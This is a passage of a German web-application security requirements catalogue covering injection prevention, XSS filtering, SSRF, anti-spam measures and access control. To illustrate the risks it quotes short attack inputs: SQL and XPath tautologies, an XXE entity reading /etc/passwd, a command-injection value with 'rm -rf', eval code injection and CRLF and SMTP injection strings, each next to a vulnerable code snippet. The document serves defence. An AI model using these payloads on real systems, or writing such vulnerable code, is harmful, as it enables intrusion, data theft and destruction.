Motivation: Bei einem DOM-basierten XSS-Angriff (auch lokales XSS genannt) schleust der Angreifer den Schadcode durch eine Schwachstelle im clientseitigen JavaScript-Code ein. Eine Web-Anwendung ist für einen solchen Angriff anfällig, wenn sie Daten aus Objekten verwendet, die der Angreifer kontrolliert (zum Beispiel „document.URL“), ohne diese Daten zuvor auf eingeschleusten Code zu prüfen. Der Schadcode ist dabei zu keiner Zeit Bestandteil der vom Server gelieferten HTML-Seite, sondern wird erst vom Client in das DOM geparkt. Zudem gibt es eine große Anzahl von Varianten für diesen Angriff, und die Implementierungen der verschiedenen Browser bzgl. DOM-Manipulation sind oftmals inkonsistent. Aus diesen Gründen ist es äußerst schwierig, sich effektiv gegen diese Angriffe zu schützen. Daher ist hier mit besonderer Sorgfalt vorzugehen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-24/8.0

Req 25	Falls Textformatierungen in Benutzereingaben erlaubt sind, falls für Benutzereingaben ein WYSIWYG-Editor verwendet wird oder falls für Benutzereingaben eine Markup-Sprache verwendet wird, die in HTML konvertiert wird, muss in der Web-Anwendung ein Filter für zulässige Tags implementiert sein, um XSS zu verhindern.
--------	---

Attribute, die zur Ausführung von Scripts verwendet werden können, zum Beispiel <style> oder <on*>, dürfen nicht erlaubt sein.

Alternativ bzw. ergänzend können auch DOM-/JavaScript-basierte XSS-Filter eingesetzt werden, die die Analyse des Markups direkt im Browsers durchführen, wobei dann Eingabedaten zuerst an diesen Sanitizer/Filter geschickt werden und erst danach in das eigentliche DOM übernommen werden.

Motivation: Wenn aufgrund der Anwendungsfälle der Web-Anwendung HTML-Codierung nicht möglich ist, besteht die sicherste Alternative, um XSS zu verhindern, darin, nur (vorab definierte) ungefährliche Tags zuzulassen und auszugeben. Die zulässigen Tags müssen sorgfältig und restriktiv ausgewählt werden, da ansonsten gefährliche Angriffsvarianten leicht übersehen werden können.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-25/8.0

Req 26	Falls Eingabedaten bei der Bildung von Datenbank-Abfragen verwendet werden, muss die Web-Anwendung Injection-Angriffe (SQL-Injection bzw. NoSQL-Injection) durch geeignete Gegenmaßnahmen verhindern.
--------	---

Dies gilt sowohl für SQL-Injection im Falle von SQL-Datenbanken als auch zum Beispiel für JavaScript- oder CQL-Injection im Falle von NoSQL-Datenbanken.

Für SQL- und CQL-Abfragen müssen alle Variablen an Prepared-Statements gebunden werden. Falls Stored-Procedures zum Einsatz kommen, müssen diese ebenfalls mit Bind-Variablen verwendet werden. Dynamisch zusammengesetzte Abfragen dürfen nicht verwendet werden.

Ist kein sicheres Zugriffsverfahren wie Prepared-Statements verfügbar, müssen die Daten bereinigt werden. Dies muss in Abhängigkeit von der jeweils verwendeten Interpreter-Sprache erfolgen. Alle Metazeichen der Interpreter-Sprache müssen aus der Eingabe entfernt oder escaped werden. Metazeichen sind hierbei alle Zeichen, die als Zeichenkettenbegrenzer (String-Delimiter) oder zur syntaktischen Formatierung des Codes verwendet werden (" ; { } \$ % # | usw.).

Motivation: Die Structured Query Language (SQL) ist eine Abfragesprache für relationale Datenbanken. Dabei werden vorgegebene Teile mit den Benutzereingaben zu einer kompletten Abfrage kombiniert. Werden die vom Benutzer gelieferten Eingaben nicht ausreichend geprüft bzw. vorverarbeitet, kann ein Angreifer beliebige SQL-Befehle in die Abfrage einschleusen (SQL-Injection):

```
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
```

Der Angreifer verändert den GET-Parameter „id“ und übermittelt ' or '1'='1:

```
http://example.com/accountView?id=' or '1'='1
```

Hierdurch wird die Logik der Abfrage so verändert, dass alle Datensätze der Tabelle zurückgegeben werden.

```
SELECT * FROM accounts WHERE custID=' ' or '1'='1'
```

Die Verwendung von Prepared-Statements verhindert die Bearbeitung von Benutzereingaben durch den SQL-Interpreter, da diese vorkompiliert und parametrisiert verarbeitet werden.

CQL (Cassandra Query Language) ist eine Interpreter-Sprache für Cassandra-Datenbanken. Daher besteht auch bei CQL eine grundsätzliche Verwundbarkeit bzgl. Injection-Angriffen, auch wenn es sich um eine NoSQL-Datenbank handelt.

Andere NoSQL-Datenbanken, zum Beispiel MongoDB, verwenden andere Interpreter-Sprachen, JavaScript in dem Fall. Daher können hier die Metazeichen der jeweiligen Syntax verwendet werden, um Injection-Angriffe durchzuführen. Somit müssen die Daten, die in die Bildung der Datenbank-Abfragen einfließen, bzgl. dieser Metazeichen validiert werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-26/8.0

Req 27	Falls die Web-Anwendung XML-Datenstrukturen, XSLT-Stylesheets oder XPath-Queries erstellt oder verarbeitet und falls sie hierfür auch Eingabedaten verwendet, muss die Web-Anwendung XML-Injection bzw. XPath-Injection sowie XML eXternal Entity Injection (XXE) durch geeignete Gegenmaßnahmen verhindern.
--------	--

Hierzu müssen Benutzereingaben anhand einer Positivliste geprüft und zurückgewiesen werden, wenn sie der Definition der Positivliste nicht entsprechen. Sofern dieser Ansatz nicht möglich ist, müssen die Zeichen () [] < > / ' = " : , * sowie alle Whitespace-Zeichen (Leer- und Tabulatorzeichen) entfernt oder escaped werden.

Um XXE-Angriffe zu verhindern, muss insbesondere die Auswertung von externen Entitäten und die Verwendung von externen DTDs durch den Parser deaktiviert werden.

Motivation: XPath ist eine Sprache zur Abfrage von XML-Daten. XPath-Injection ist das XML-Pendant zur SQL-Injection. Wenn ein Angreifer XML-Metazeichen einschleust, kann dies zu nicht wohlgeformtem XML führen. Weiterhin ist es auch möglich, ganze Tags oder Attribute einzuschleusen.

XPath-Injection kann zum Beispiel möglich sein bei folgender XPath-Abfrage, die den Account zurückgibt, bei dem der Benutzername „gandalf“ und das Passwort „!c3“ lautet:

```
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
```

Falls die Web-Anwendung Benutzereingaben nicht ausreichend validiert, kann ein Angreifer XPath-Code einschleusen und so das Ergebnis der Abfrage beeinflussen. So könnte der Angreifer folgende Werte verwenden:

Username: ' or '1' = '1

Password: ' or '1' = '1

Hiermit sieht dann die Abfrage folgendermaßen aus:

```
string(//user[username/text()=' ' or '1' = '1' and password/text()=' ' or '1' = '1']/account/text())
```

Wie bei einem herkömmlichen SQL-Injection-Angriff hat der Angreifer somit eine Abfrage erstellt, die immer „true“ ergibt. Die Web-Anwendung wird den Angreifer authentifizieren, auch wenn keine gültige Kombination von Benutzername und Passwort eingegeben wurde.

XML-Injection ist zum Beispiel dort möglich, wo CDATA-Elemente genutzt werden könnten, um maliziöse Inhalte einzuschleusen, die vom XML-Parser ignoriert werden.

<HTML>

```
<![CDATA[<IMG SRC=http://www.example.com/logo.gif onmouseover=javascript:alert('Attack');>]]>
```

</HTML>

In diesem Beispiel könnte XML-Injection ausgenutzt werden, um einen XSS-Angriff gegen die Web-Anwendung durchzuführen.

XML-Dokumente können Verweise auf externe Entitäten oder Dokumente enthalten, die bei der Verarbeitung des XML-Dokuments durch den Parser der Web-Anwendung automatisch aufgelöst werden, indem der Parser die externe Ressource nachlädt und auswertet. Ein Angreifer könnte dies nutzen und mittels XXE eine Remote-Anfrage vom Server ausführen, interne Systeme scannen, Daten extrahieren, einen Denial-of-Service-Angriff oder auch andere Angriffe durchführen.

So könnte ein Angreifer versuchen, über XXE Daten auf dem Server auszulesen:

```
< ?xml version="1.0" encoding="ISO-8859-1"?>
```

```
<!DOCTYPE foo [
```

```
<!ELEMENT foo ANY >
```

```
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
```

```
<foo>&xxe;</foo>
```

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

ID: 3.06-27/8.0

Req 28	Die Web-Anwendung darf keine Eingabedaten verwenden, um Shell-Befehle oder Befehle für das laufende Programm (zum Beispiel über „eval“) zu erstellen.
--------	---

Motivation: Hiermit wird OS Command Injection und Code Injection verhindert.

Zu OS Command Injection kann es kommen, wenn Eingabedaten in einen Befehl integriert werden, der dann zur Ausführung an das Betriebssystem weitergegeben wird. Dies ermöglicht es einem Angreifer unter Umständen, beliebige Betriebssystembefehle auf dem Server auszuführen, auf dem die Web-Anwendung läuft. In dem Fall kann er in der Regel das System vollständig kompromittieren. Sehr oft kann ein Angreifer solch eine Schwachstelle sogar dazu ausnutzen, um andere Teile der Hosting-Infrastruktur zu kompromittieren, indem er Vertrauensbeziehungen ausnutzt und seinen Angriff auf andere Systeme ausweitet.

Bei Code Injection schleust ein Angreifer dagegen ausführbaren Code ein. Dies kann serverbasiert erfolgen (zum Beispiel über php) oder clientbasiert (zum Beispiel über JavaScript). Ist der Angreifer erfolgreich, wird dieser Code ausgeführt und kann ebenfalls großen Schaden anrichten. Code Injection kann ein Angreifer aber auch nutzen, um XSS- oder SQL-Injection-Angriffe einzuschleusen.

Beispielsweise könnte dieser Code Teil einer Web-Anwendung zur Administration eines Webserverns sein:

```
string dirName = "C:\\filestore\\" + Directory.text;
```

```
ProcessStartInfo psInfo = new ProcessStartInfo ("cmd", "/c dir " + dirName);
```

...

```
Process proc = Process.Start(psInfo);
```

Mit dieser Funktion wird der Inhalt eines Verzeichnisses angezeigt. Das Script fügt den Wert des vom Benutzer übergebenen Parameters „Directory“ in einen festgelegten Befehl ein. Ein Angreifer könnte jedoch Shell-Metazeichen verwenden, um eigene Befehle einzuschleusen und ausführen zu lassen: `Verzeichnisname && rm -rf`.

Wenn die PHP-Funktion `eval()` verwendet wird und ihr nicht vertrauenswürdige Daten übergeben werden, die ein Angreifer beeinflussen kann

```
$username = $_POST['username'];  
eval("echo $username");
```

ist Code Injection möglich, zum Beispiel durch Eingabe von `mustermann; phpinfo()`.

Wenn andererseits mit JavaScript ein JSON-Dokument per „eval“ interpretiert wird

```
eval({"menu":{"address":{"line1":addressLine1,"line2":"","line3":""}}});
```

und dann die Variable „addressLine1“ aus dem Request mit dem Wert „, arbitrary:alert('executed!'), continue:“ belegt wird, wird hier ebenfalls eingeschleuster Code ausgeführt.

Sämtliche Benutzereingaben stellen hier eine mögliche Angriffsfläche dar. Die direkte Ausführung per „eval“ (oder vergleichbarer Funktionen) ist sehr problematisch, da die Daten direkt interpretiert werden ohne weitere Prüfungen hinsichtlich Sicherheit bzw. Gültigkeit. Dies gilt sowohl auf Serverseite als auch auf Clientseite.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

ID: 3.06-28/8.0

Req 29	Falls die Web-Anwendung Eingabedaten verwendet, um HTTP-Header zu bilden, müssen diese Daten validiert werden: Gefährliche Zeichen, insbesondere CR und LF (%0d und %0a), müssen gefiltert werden, bevor die Eingabedaten in die Header einer HTTP-Response eingefügt werden.
--------	---

Motivation: Wenn Header (Redirection-URL, „Set-Cookie“-Anweisung usw.) dynamisch generiert werden und wenn hierbei Eingabedaten einfließen, die nur unzureichend geprüft werden, kann HTTP-Header-Injection auftreten. Dies kann für HTTP-Response-Splitting-Angriffe ausgenutzt werden. Der Angreifer platziert hierzu CR-/LF-Zeichen in den Eingabedaten, gefolgt von einem vollständigen HTTP-Header. So löst er mit einem HTTP-Request eine Response aus, die vom Opfer als zwei HTTP-Responses interpretiert wird. Die zweite Response liegt dann unter der vollen Kontrolle des Angreifers.

Wenn zum Beispiel der Name eines Autors eines Weblogs aus einem HTTP-Request ausgelesen wird

```
String author = request.getParameter(AUTHOR_PARAM);
```

und der Name dann in den Cookie-Header einer HTTP-Response gesetzt wird, bleibt es bei einer korrekten „Set-Cookie“-Anweisung nur so lange, wie die Eingabedaten für „AUTHOR_PARAM“ keine maliziösen Zeichen enthalten. Falls aber ein Angreifer beispielsweise „Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...“ übergibt, wird die HTTP-Response in zwei Responses der folgenden Form aufgebrochen:

```
HTTP/1.1 200 OK
```

```
...
```

```
Set-Cookie: author=Wiley Hacker
```

```
HTTP/1.1 200 OK
```

```
...
```

Wegen der fehlenden Validierung der Eingabedaten wird dabei die zweite Response vollständig vom Angreifer kontrolliert und kann von ihm mit beliebigen Header- und Body-Inhalten erstellt werden. Und wenn ein Angreifer beliebige HTTP-Responses konstruieren kann, kann dies zu einer Vielzahl möglicher Angriffsvarianten führen. Zum Beispiel kann ein Angreifer Defacements vornehmen, Web-Caches vergiften, Webseiten umleiten oder XSS-Angriffe durchführen.

Um dies zu verhindern, müssen Eingabedaten validiert und gefährliche Zeichen gefiltert werden, bevor die Eingabe-

daten in die Header einer HTTP-Response eingefügt werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-29/8.0

Req 30	Falls über die Web-Anwendung der Versand von E-Mails initiiert wird, muss verhindert werden, dass E-Mail-Kommandos in den nachgelagerten Mail-Server injiziert werden (E-Mail-Injection).
--------	---

In diesem Zusammenhang relevante E-Mail-Kommandos sind SMTP-Befehle, IMAP-Befehle, Attribute von Internet-Messages und MIME-Boundaries.

Daher muss eine sichere Mail-Bibliothek verwendet werden, die keine derartige Injection ermöglicht.

Steht keine sichere Mail-Bibliothek zur Verfügung, müssen alle Eingabedaten validiert und bereinigt werden, bevor sie an einen Mail-Server weitergeleitet werden:

- Für ARPA-Internet-Messages: Eingabedaten dürfen kein „<CRLF>“ enthalten (außer im Body).
- Für IMAP-Daten: Eingabedaten dürfen kein „<CRLF>“ enthalten.
- Für SMTP-Daten: Eingabedaten dürfen kein „<CRLF>“ enthalten. Ausnahme: Im Fall des SMTP-Befehls DATA muss jedes „<CRLF>.“ durch „<CRLF>..“ ersetzt werden.
- Für MIME-E-Mails: Eingabedaten, die als Teil des Mail-Bodys versendet werden, dürfen kein „<CRLF>..“ enthalten. Eingabedaten, die „<CRLF>..“ enthalten, müssen bereinigt werden, zum Beispiel durch Einfügen eines Leerzeichens zwischen „<CRLF>“ und „..“ (was jedoch beim Empfänger nicht rückgängig gemacht wird).

Motivation: Die Validierung von Eingabedaten verhindert Angriffe per E-Mail-Injection, bei denen der Angreifer verschiedene unerwünschte Aktionen durchführen kann: Versand anonymer Mails, Spamming, Relaying, Umgehung von Captchas und anderer Einschränkungen der Anwendung, Ausnutzung von Protokollschwachstellen usw.

Es gibt sichere Mail-Bibliotheken, die entsprechende Validierungsmaßnahmen durchführen und an sich bereits E-Mail-Injection verhindern. Die sicherste Lösungsvariante ist daher, solch eine Mail-Bibliothek zu verwenden.

Ein SMTP-Injection-Angriff könnte zum Beispiel über einen Parameter durchgeführt werden, der verwendet wird, wenn ein Nutzer über eine Web-Anwendung eine E-Mail verschicken möchte. Üblicherweise präsentiert eine Web-Anwendung dem Benutzer ein Formular, in das er die notwendigen Informationen eingeben muss. Aus den entsprechenden Eingabedaten werden dann nachgelagert SMTP-Kommandos generiert.

Dies ist ein typischer Ausschnitt eines HTTP-Requests zum Versenden einer E-Mail:

```
POST http://<webmail>/compose.php HTTP/1.1
...
-----134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Example
-----134475172700422922879687252
...
```

Hieraus würde folgende Sequenz von SMTP-Kommandos generiert werden:

```
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Example
...
```

Falls die Web-Anwendung den Parameter „subject“ aber nicht ausreichend validiert, könnte ein Angreifer hierüber zusätzliche SMTP-Kommandos einschleusen:

```
POST http://<webmail>/compose.php HTTP/1.1
...
```

```

-----134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.
-----134475172700422922879687252
...

```

Die eingeschleusten Kommandos erzeugen einen SMTP-Befehl, der dann an einen Mail-Server geschickt wird, einschließlich der hier dargestellten „MAIL FROM“, „RCPT TO“- und „DATA“-Kommandos:

```

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Injection Example
.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data
.

```

Und eine zusätzliche E-Mail wird daraufhin verschickt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-30/8.0

Req 31	Die Web-Anwendung darf keine Eingabedaten verwenden zur Erstellung von URLs (zum Beispiel für Weiterleitungen), um zu verhindern, dass die Web-Anwendung für unsichere Weiterleitungen (Redirects) missbraucht wird, und um andere Angriffe wie Server Side Request Forgery (SSRF) oder HTTP-Host-Header-Angriffe zu verhindern.
--------	--

Falls Eingabedaten hierzu zwingend verwendet werden müssen, müssen Angriffe über eine Positivliste (erlaubter Domains, aber auch erlaubter Parameter, Protokolle etc.) verhindert werden.

Unter Eingabedaten fallen grundsätzlich nicht nur die Daten, die ein Benutzer bei normaler Nutzung eingibt, sondern ausdrücklich auch solche Daten, die bei normaler Nutzung nicht beeinflusst werden. In diesem Kontext gilt dies insbesondere für den HTTP-Header „Host“ sowie für andere HTTP-Header, wie zum Beispiel „X-Forwarded-Host“.

Motivation: Unsichere Redirects können von einem Angreifer beispielsweise verwendet werden, um wirksamere Phishing-Angriffe durchzuführen oder um Nutzer auf Seiten mit Schadcode zu locken. Das Opfer klickt auf scheinbar seriöse Links, die es vom Angreifer erhalten hat, wird dann aber auf die Phishing-Seite umgeleitet. Der Angreifer manipuliert dabei lediglich die Eingabedaten, die für einen Redirect verwendet werden. Er nutzt somit die ursprüngliche Webseite als vertrauenswürdige Sprungbrett.

Web-Anwendungen, die serverseitig selbst Requests versenden, zum Beispiel um Ressourcen nachzuladen und anzuzeigen, können anfällig für SSRF sein, wenn sie hierfür ungeprüfte Eingabedaten verwenden. In dem Fall könnten Angreifer ggf. die URL oder andere Daten so verändern, dass ansonsten zugriffsgeschützte Inhalte (von internen Backend-Services oder auch von localhost) angezeigt werden.

HTTP-Host-Header-Angriffe gefährden Web-Anwendungen die den Wert des Host-Headers (oder anderer HTTP-Header) auf eine unsichere Art verarbeiten. Abhängig von der individuellen Anwendung kann dies zu diversen Sicherheitsproblemen führen, wie beispielsweise der Manipulation der Anwendungslogik oder aber auch zu weitergehenden Angriffsvarianten wie SQL-Injection.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.06-31/8.0

Req 32	Falls es möglich ist, aus der Web-Anwendung heraus ohne vorherige Authentisierung E-Mails oder SMS zu initiieren (zum Beispiel bei einer Passwortrücksetzung oder für eine Weiterempfehlung) oder Daten an die Web-Anwendung zu schicken (zum Beispiel Kontaktformulare oder Seitenbewertungen), muss die Web-Anwendung durch angemessene Sicherheitsmechanismen Missbrauch dieser Funktionalitäten (insbesondere für SPAM oder Denial-of-Service) verhindern.
--------	--

Beispielsweise kann die Anzahl der E-Mails, SMS oder Formulare, die innerhalb einer bestimmten Zeit über diese Funktion initiiert werden können, begrenzt werden. Ein Nachteil dieser Maßnahme besteht darin, dass sie unter Umständen leicht missbraucht werden kann, um einen Denial-of-Service-Angriff für diese Funktion durchzuführen und so legitime Benutzer zu blockieren.

Captchas können hierfür auch verwendet werden: Entweder verlangt die Web-Anwendung für jede Aktion die Beantwortung eines Captchas, oder die Web-Anwendung blendet Captchas erst nach Überschreiten eines Schwellwerts oder bei anderen Auffälligkeiten ein.

Ein Captcha ist ein Test zur Unterscheidung von Maschinen und Menschen. Die am häufigsten verwendeten Varianten sind Bild-Captchas, die aus einem Bild mit verzerrten Zahlen und Buchstaben bestehen. Wenn der Inhalt eines Captchas erfolgreich in ein Textfeld übertragen wurde, kann die Web-Anwendung davon ausgehen, dass die Eingabe nicht automatisiert durchgeführt wurde. Hierbei ist aber zu beachten, dass diese Lösungen in der Regel nicht barrierefrei sind. Dies kann problematisch sein, insbesondere im Falle von Web-Anwendungen, die von Mitarbeitern genutzt werden sollen. Es gibt aber auch Varianten von barrierearmen Captchas. Beispiele hierfür sind Text-Captchas, die leicht lösbare Rechenaufgaben oder Wissensfragen stellen („Die Zahl 12 plus die Zahl 6 ergibt?“). Alternativ kann auch zusätzlich zum Bild-Captcha ein Audio-Captcha angeboten werden. Damit das Audio-Captcha nicht von einer Spracherkennung aufgelöst werden kann, wird meist eine verfremdete Stimme oder eine akustische Kulisse mit Umgebungslärm verwendet.

Im Falle einer Funktion zum Versand von Weiterempfehlungen müssen folgende Maßnahmen umgesetzt werden:

- Die Angabe von Empfängeradressen muss auf eine sinnvolle und möglichst kleine Anzahl beschränkt werden.
- Der Betreff einer E-Mail-Weiterempfehlung muss von der Web-Anwendung vorgegeben werden. Entweder wird dabei der Betreff von der Anwendung automatisch eingefügt oder der Benutzer wählt den Betreff aus einer vordefinierten Liste aus.
- Eine E-Mail-Weiterempfehlung muss einen Hinweis enthalten, dass die E-Mail-Adresse des Absenders nicht verifiziert wurde.
- Wenn der Textkörper einer E-Mail-Weiterempfehlung ein Textfeld enthält, das der Benutzer ausfüllen kann, muss in der E-Mail eine Information zum Zweck der E-Mail enthalten sein. Der vom Benutzer eingegebene Text muss als benutzerdefinierter Text gekennzeichnet sein. Im Textfeld dürfen nur Buchstaben, Ziffern und bestimmte sorgfältig ausgewählte Sonderzeichen zulässig sein. Wird eine HTML-E-Mail verschickt, müssen Sonderzeichen HTML-codiert werden (zum Beispiel „<“ statt „<“).

Motivation: Wenn ein Angreifer eine große Anzahl von SMS oder E-Mails an einen oder mehrere Benutzer sendet, wird dies zu unzufriedenen Benutzern, Imageproblemen und ggf. zu einer großen Anzahl von Anfragen beim Kundenservice führen. Falls Benutzer Kontaktformulare ohne vorherige Authentisierung absenden können, kann ein Angreifer diese mit einfachen Mitteln anonym und massenhaft übermitteln; wenn diese Formulare dann vom Kundenservice ausgewertet werden, kann dies zu einer Überlastung führen, so dass legitime Anfragen nicht oder nur verzögert beantwortet werden können. Mit einer massenhaften oder einer gezielten Übermittlung von Seitenbewertungen kann ein Angreifer jede Bewertung beliebig manipulieren.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

6. Authentifizierung und Autorisierung

Req 33	Die Nutzung von schutzbedürftigen Funktionen der Web-Anwendung und der Zugriff auf schutzbedürftige Daten darf nicht ohne erfolgreiche Authentifizierung und Autorisierung möglich sein.
--------	--

Der Zugriffsschutz einer Web-Anwendung darf dabei nicht allein darauf beruhen, dass Daten, Inhalte oder Funktionen geheim gehalten werden. So ist beispielsweise ein Zugriffsschutz, der nur darauf beruht, dass solche Ressourcen nicht verlinkt sind, nicht ausreichend.

Die Web-Anwendung muss insbesondere auch nach erfolgter Authentifizierung bei jeder Aktion eines Benutzers serverseitig verifizieren, dass dieser Benutzer tatsächlich berechtigt ist, auf die Daten/Inhalte zuzugreifen bzw. die Funktion auszuführen. Hierbei ist unter anderem zu beachten, dass alle Parameter und Identifier, die vom Client übertragen werden, nicht vertrauenswürdig sind. Ein Angreifer kann diese Daten problemlos manipulieren, um Zugriff auf Ressourcen zu erhalten, für die er keine Berechtigung hat. Dies kann beispielsweise bei Insecure Direct Object References (IDOR) zum Erfolg führen, wenn Referenzen zu internen Implementierungsobjekten (wie Dateien, Ordner oder Datenbankschlüssel) ohne ausreichende Zugriffskontrolle oder andere Schutzmechanismen auch für den Zugriff durch den Nutzer verwendet werden.

Bei Formularen, die in einer bestimmten Reihenfolge ausgefüllt werden müssen, muss die Berechtigungsprüfung für jeden einzelnen Schritt durchgeführt werden, weil nicht davon ausgegangen werden kann, dass böswillige Nutzer die Formulare in der vorgesehenen Reihenfolge aufrufen.

Motivation: Eine Authentifizierung ist notwendig, um einen Benutzer zweifelsfrei identifizieren zu können, da hiervon die ihm zugeteilten Berechtigungen und somit der Zugriff auf Daten und Funktionen einer Web-Anwendung abhängig sind.

Eine Web-Anwendung muss unautorisierte Zugriffversuche erkennen und verhindern. Andernfalls kann ein Angreifer unter anderem durch Manipulation von Parametern auf Daten zugreifen oder Funktionen ausführen, für die er keine Berechtigung hat. Zum Beispiel wenn bei https://www.webanwendung.de/user_account?user_id=123 der Parameter „user_id“ direkt und ohne weitere Kontrollen als Index für Datenbankabfragen verwendet wird (Insecure Direct Object Reference), kann ein Angreifer den Wert von „user_id“ ändern, um die Datensätze anderer Benutzer einzusehen. Manipuliert werden können aber alle Parameter, die zwischen Browser und Web-Anwendung ausgetauscht werden: Formularfelder, URL-Parameter, Hidden-Fields, HTTP-Header usw.

Auf Daten oder Funktionen, die geheim gehalten werden, kann ein Angreifer zugreifen, indem er die entsprechenden Adressen durch Fuzzing ermittelt, indem er diese durch Social Engineering erfährt oder indem er diese durch frühere Tätigkeiten kennt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-33/8.0

Req 34	Die Berechtigungen von Benutzern und Anwendungen müssen auf den zur Erfüllung ihrer Aufgaben benötigten Umfang beschränkt werden.
--------	---

Die Berechtigungen auf einem System müssen so weit eingeschränkt werden, dass ein Benutzer nur auf Daten zugreifen und Funktionen nutzen kann, die er im Rahmen seiner Arbeit benötigt. Entsprechende Berechtigungen sind auch für den Zugriff auf Dateien zu vergeben, die Bestandteil des Betriebssystems oder von Anwendungen sind oder von diesen erzeugt werden (z. B. Konfigurations- und Protokollierungsdateien).

Neben dem Zugriff auf Daten muss auch die Ausführung von Anwendungen und deren Bestandteilen mit möglichst niedrigen Berechtigungen erfolgen. Anwendungen sollten nicht mit Administrator- oder Systemberechtigungen ausgeführt werden.

Motivation: Werden einem Benutzer zu weitreichende Berechtigungen auf einem System gewährt, kann er in einem Umfang auf Daten und Anwendungen zugreifen, der zur Erfüllung der zugewiesenen Aufgaben nicht erforderlich ist. Dies erzeugt ein unnötig erhöhtes Risiko im Falle eines Missbrauchs, insbesondere auch, falls der Benutzer oder des-

sen Benutzerkonto durch einen Angreifer kompromittiert werden.

Anwendungen, die über zu weitreichende Berechtigungen verfügen, können von einem Angreifer missbraucht werden, um unbefugte Zugänge zu erhalten oder zu erweitern und damit einen Zugriff auf schutzbedürftige Daten und Systembereiche zu erlangen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-23/9.0

Req 35	Benutzerkonten müssen die eindeutige Identifizierung des Benutzers sicherstellen.
--------	---

Benutzer müssen eindeutig von einem System identifiziert werden können.

Dies wird typischerweise dadurch erreicht, dass für jeden Benutzer ein individuelles Benutzerkonto genutzt wird.

Sogenannte Gruppenkonten, die sich dadurch auszeichnen, dass sie von mehreren Personen gemeinsam genutzt werden, dürfen nicht verwendet werden. Dies gilt uneingeschränkt auch für privilegierte Benutzerkonten. Die meisten Systeme verfügen nach der Grundinstallation zunächst nur über ein einzelnes Benutzerkonto mit administrativen Berechtigungen. Soll das System von mehreren Personen administriert werden, muss jede dieser Personen ein persönliches, individuelles Benutzerkonto verwenden, dem entsprechende administrative Berechtigungen bzw. Rollen zugewiesen sind.

Eine Besonderheit stellen sogenannte technische Benutzerkonten dar. Diese werden für Authentifizierung und Autorisierung von Systemen untereinander oder von Anwendungen auf einem System genutzt und können damit nicht einer konkreten Person zugewiesen werden. Solche Benutzerkonten müssen individuell pro System oder pro Anwendung vergeben werden. Hierbei ist allerdings sicherzustellen, dass eine missbräuchliche Nutzung solcher Benutzerkonten nicht möglich ist.

Möglichkeiten, um eine missbräuchliche Nutzung solcher Benutzerkonten durch Personen zu verhindern, sind:

- Konfiguration eines den Sicherheitsanforderungen entsprechenden Passwortes, dass nur einem kleinstmöglichen Kreis von Administratoren bekannt ist.
- Konfiguration des entsprechenden Benutzerkontos, so dass dieses nur lokal verwendet werden kann und eine interaktive Anmeldung nicht möglich ist.
- Verwendung eines Verfahrens mit öffentlichem und privatem Schlüssel oder Zertifikaten für die Authentifizierung des entsprechenden Benutzerkontos.
- Einschränkung des Zugriffs über ein Netz auf legitimierte Systeme.

Weitere Lösungen sind im Einzelfall auf ihre Verwendbarkeit zu prüfen.

Motivation: Die eindeutige Identifizierung eines Benutzers ist Voraussetzung, um einem Benutzer Berechtigungen zuweisen zu können, die für die Durchführung seiner Aufgaben auf dem System notwendig sind. Nur so kann eine adäquate Zugriffskontrolle auf Daten und Dienste eines Systems erreicht und der missbräuchliche Zugriff verhindert werden. Des Weiteren wird hierdurch ermöglicht, dass Tätigkeiten und Aktionen auf einem System protokolliert und einem Benutzer zugeordnet werden können.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-22/9.0

